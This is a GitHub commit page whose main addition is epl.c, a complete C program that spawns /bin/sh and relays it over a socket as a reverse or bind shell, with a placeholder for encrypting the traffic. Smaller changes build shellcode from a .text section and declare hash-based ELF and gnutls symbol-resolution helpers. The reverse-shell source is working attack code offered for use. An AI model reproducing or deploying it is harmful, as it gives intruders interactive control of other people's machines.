Skip to content

Commit 4527e1a

Browse files
committed
upd
1 parent 861ca9b commit 4527e1a

11 files changed

Lines changed: 2449 additions & 9 deletions

File tree

os/linux/c/routines.c

Lines changed: 757 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
tls:
2-
gcc -N -O0 -fno-stack-protector -nostdlib tls.c -fpic -o tls
2+
gcc -O0 -nostdlib tls.c -fpic -o tls
33
objcopy -O binary --only-section=.text tls tls.bin
44
xxd -i tls.bin > tls.h
55
clean:

os/linux/c/ssltls/epl.c

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
#define _GNU_SOURCE
31+
32+
#define PORT "1234"
33+
#define HOST "127.0.0.1"
34+
35+
#include <unistd.h>
36+
#include <sys/socket.h>
37+
#include <sys/types.h>
38+
#include <arpa/inet.h>
39+
#include <sys/ioctl.h>
40+
#include <sys/syscall.h>
41+
#include <signal.h>
42+
#include <sys/epoll.h>
43+
#include <fcntl.h>
44+
#include <sched.h>
45+
46+
#include <stdio.h>
47+
#include <stdint.h>
48+
#include <string.h>
49+
#include <stdlib.h>
50+
51+
int main(void) {
52+
struct sockaddr_in sa;
53+
int i, r, w, s, len, efd;
54+
#ifdef BIND
55+
int s2;
56+
#endif
57+
int fd, in[2], out[2];
58+
char buf[BUFSIZ];
59+
struct epoll_event evts;
60+
char *args[]={"/bin/sh", NULL};
61+
pid_t ctid, pid;
62+
63+
// create pipes for redirection of stdin/stdout/stderr
64+
pipe2(in, 0);
65+
pipe2(out, 0);
66+
67+
// fork process
68+
ctid = syscall(SYS_gettid);
69+
70+
pid = syscall(SYS_clone,
71+
CLONE_CHILD_SETTID |
72+
CLONE_CHILD_CLEARTID |
73+
SIGCHLD, 0, NULL, 0, &ctid);
74+
75+
// if child process
76+
if (pid == 0) {
77+
// assign read end to stdin
78+
dup3(in[0], STDIN_FILENO, 0);
79+
// assign write end to stdout
80+
dup3(out[1], STDOUT_FILENO, 0);
81+
// assign write end to stderr
82+
dup3(out[1], STDERR_FILENO, 0);
83+
84+
// close pipes
85+
close(in[0]); close(in[1]);
86+
close(out[0]); close(out[1]);
87+
88+
// execute shell
89+
execve(args[0], args, 0);
90+
} else {
91+
// close read and write ends
92+
close(in[0]); close(out[1]);
93+
94+
// create a socket
95+
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
96+
97+
sa.sin_family = AF_INET;
98+
sa.sin_port = htons(atoi(PORT));
99+
100+
#ifdef BIND
101+
// bind to port for incoming connections
102+
sa.sin_addr.s_addr = INADDR_ANY;
103+
104+
bind(s, (struct sockaddr*)&sa, sizeof(sa));
105+
listen(s, 0);
106+
r = accept(s, 0, 0);
107+
s2 = s; s = r;
108+
#else
109+
// connect to remote host
110+
sa.sin_addr.s_addr = inet_addr(HOST);
111+
112+
r = connect(s, (struct sockaddr*)&sa, sizeof(sa));
113+
#endif
114+
115+
// if ok
116+
if (r >= 0) {
117+
// open an epoll file descriptor
118+
efd = epoll_create1(0);
119+
120+
// add 2 descriptors to monitor stdout and socket
121+
for (i=0; i<2; i++) {
122+
fd = (i==0) ? s : out[0];
123+
evts.data.fd = fd;
124+
evts.events = EPOLLIN;
125+
126+
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &evts);
127+
}
128+
129+
// now loop until user exits or some other error
130+
for (;;) {
131+
r = epoll_pwait(efd, &evts, 1, -1, NULL);
132+
133+
// error? bail out
134+
if (r < 0) break;
135+
136+
// not input? bail out
137+
if (!(evts.events & EPOLLIN)) break;
138+
139+
fd = evts.data.fd;
140+
141+
// assign socket or read end of output
142+
r = (fd == s) ? s : out[0];
143+
// assign socket or write end of input
144+
w = (fd == s) ? in[1] : s;
145+
146+
// read from socket or stdout
147+
len = read(r, buf, BUFSIZ);
148+
149+
if (!len) break;
150+
151+
// encrypt/decrypt data here
152+
153+
// write to socket or stdin
154+
write(w, buf, len);
155+
}
156+
// remove 2 descriptors
157+
epoll_ctl(efd, EPOLL_CTL_DEL, s, NULL);
158+
epoll_ctl(efd, EPOLL_CTL_DEL, out[0], NULL);
159+
close(efd);
160+
// shutdown socket
161+
shutdown(s, SHUT_RDWR);
162+
}
163+
close(s);
164+
#ifdef BIND
165+
close(s2);
166+
#endif
167+
// terminate shell
168+
kill(pid, SIGCHLD);
169+
}
170+
close(in[1]);
171+
close(out[0]);
172+
return 0;
173+
}
174+
Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -117,8 +117,6 @@ typedef void (*gnutls_transport_set_ptr_t)(gnutls_session_t session, gnutls_tran
117117
typedef void (*gnutls_transport_set_push_function_t)(gnutls_session_t session, gnutls_push_func push_func);
118118
typedef void (*gnutls_transport_set_pull_function_t)(gnutls_session_t session, gnutls_pull_func pull_func);
119119

120-
Elf64_Dyn *elf_get_dyn(void *base, int tag);
121-
122120
typedef struct _data_t {
123121
int s; // socket file descriptor
124122

@@ -180,20 +178,17 @@ typedef struct _data_t {
180178
} api;
181179
} data_t;
182180

183-
int init_ld(data_t *ds);
184-
int init_libc(data_t *ds);
185-
int init_gnutls(data_t *ds);
186-
187181
void *get_proc_address(void *module, const char *name);
188182

189183
void *get_proc_address2(void *module, uint32_t hash); // using base address
190184
void *get_proc_address3(const char *path, uint32_t hash); // using file path
191185

192186
void *get_module_handle(const char *module);
193-
void *load_module(data_t *ds, const char *path, const char *name);
194-
195187
void *get_module_handle1(const char *module);
196188
void *get_module_handle2(const char *module);
197189
void *get_base(void);
198190

191+
Elf64_Phdr *elf_get_phdr(void *base, int type);
192+
Elf64_Dyn *elf_get_dyn(void *base, int tag);
193+
199194
uint32_t gnu_hash(const uint8_t *name);

0 commit comments

Comments
 (0)